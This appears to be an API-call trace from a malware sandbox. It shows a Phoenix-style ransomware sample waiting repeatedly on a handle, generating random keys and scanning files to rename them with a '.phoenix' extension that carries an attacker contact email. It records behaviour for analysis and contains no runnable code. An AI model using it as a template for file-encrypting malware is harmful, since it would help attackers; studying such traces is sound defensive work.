	[0212.731] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.732] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.732] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.732] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.732] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.732] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.732] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.732] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.732] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.732] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.732] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.732] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.733] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.733] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.733] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.733] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.733] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.733] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.733] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.733] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.733] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.733] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.734] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.734] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.734] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.734] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.734] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.734] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.734] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.734] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.734] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.734] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.734] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.735] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.735] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.735] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.735] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.735] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.735] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.735] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.735] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.735] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.735] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.736] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.736] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.736] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.736] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.736] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.736] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.736] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.736] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.736] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.736] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.737] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.737] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.737] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.737] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.737] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.737] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.737] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.737] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.737] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.737] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.738] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.738] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.738] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.738] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.738] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.738] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.738] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.738] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.738] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.738] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.738] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.739] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.739] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.739] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.739] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.739] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.739] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.739] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.739] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.739] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.739] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.740] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.740] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.740] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.740] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.740] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.740] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.740] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.740] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.740] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.740] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.741] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.741] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.741] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.741] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.741] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.741] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.741] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.741] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.741] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.741] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.741] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.742] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.742] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.742] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.742] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.742] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.742] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.742] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.742] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.742] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.742] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.743] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.743] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.743] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.743] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.743] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.743] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.743] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.743] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.743] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.743] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.744] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.744] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.744] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.744] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.745] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.745] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.745] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.745] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.745] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.745] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0
	[0212.902] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3f9fa30 | out: pbBuffer=0x3f9fa30) returned 1
	[0212.902] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238
	[0212.903] GetFileSizeEx (in: hFile=0x238, lpFileSize=0x3f9f9d0 | out: lpFileSize=0x3f9f9d0*=129) returned 1
	[0212.903] CloseHandle (hObject=0x238) returned 1
	[0212.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26
	[0212.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0x20
	[0213.011] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3f9fa30 | out: pbBuffer=0x3f9fa30) returned 1
	[0213.011] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.738] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3f9fa30 | out: pbBuffer=0x3f9fa30) returned 1
	[0213.739] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmui.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0213.741] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x3f9f9d0 | out: lpFileSize=0x3f9f9d0*=59164) returned 1
	[0213.741] CloseHandle (hObject=0x52c) returned 1
	[0213.741] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmui.msi.16.en-us.xml")) returned 0x20
	[0213.741] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmui.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.745] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.745] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3f9fa30 | out: pbBuffer=0x3f9fa30) returned 1
	[0213.745] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcf.dcf.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0213.747] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x3f9f9d0 | out: lpFileSize=0x3f9f9d0*=16148) returned 1
	[0213.747] CloseHandle (hObject=0x534) returned 1
	[0213.747] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcf.dcf.x-none.msi.16.x-none.xml")) returned 0x20
	[0213.747] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcf.dcf.x-none.msi.16.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.748] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcf.dcf.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.750] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3f9fa30 | out: pbBuffer=0x3f9fa30) returned 1
	[0213.750] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excelmui.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0213.753] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3f9f9d0 | out: lpFileSize=0x3f9f9d0*=36720) returned 1
	[0213.753] CloseHandle (hObject=0x528) returned 1
	[0213.753] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excelmui.msi.16.en-us.xml")) returned 0x20
	[0213.753] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excelmui.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.753] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excelmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.753] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3f9fa30 | out: pbBuffer=0x3f9fa30) returned 1
	[0213.753] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groove.groove.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0213.754] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x3f9f9d0 | out: lpFileSize=0x3f9f9d0*=36750) returned 1
	[0213.754] CloseHandle (hObject=0x534) returned 1
	[0213.754] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groove.groove.x-none.msi.16.x-none.xml")) returned 0x20
	[0213.754] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groove.groove.x-none.msi.16.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.755] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groove.groove.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.755] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3f9fa30 | out: pbBuffer=0x3f9fa30) returned 1
	[0213.755] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groovemui.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0213.756] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x3f9f9d0 | out: lpFileSize=0x3f9f9d0*=6158) returned 1
	[0213.756] CloseHandle (hObject=0x534) returned 1
	[0213.757] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groovemui.msi.16.en-us.xml")) returned 0x20
	[0213.757] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groovemui.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.758] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groovemui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.761] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3f9fa30 | out: pbBuffer=0x3f9fa30) returned 1
	[0213.761] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32ww.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0213.762] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x3f9f9d0 | out: lpFileSize=0x3f9f9d0*=324596) returned 1
	[0213.762] CloseHandle (hObject=0x534) returned 1
	[0213.762] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32ww.msi.16.x-none.xml")) returned 0x20
	[0213.762] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32ww.msi.16.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.762] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32ww.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.763] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3f9fa30 | out: pbBuffer=0x3f9fa30) returned 1
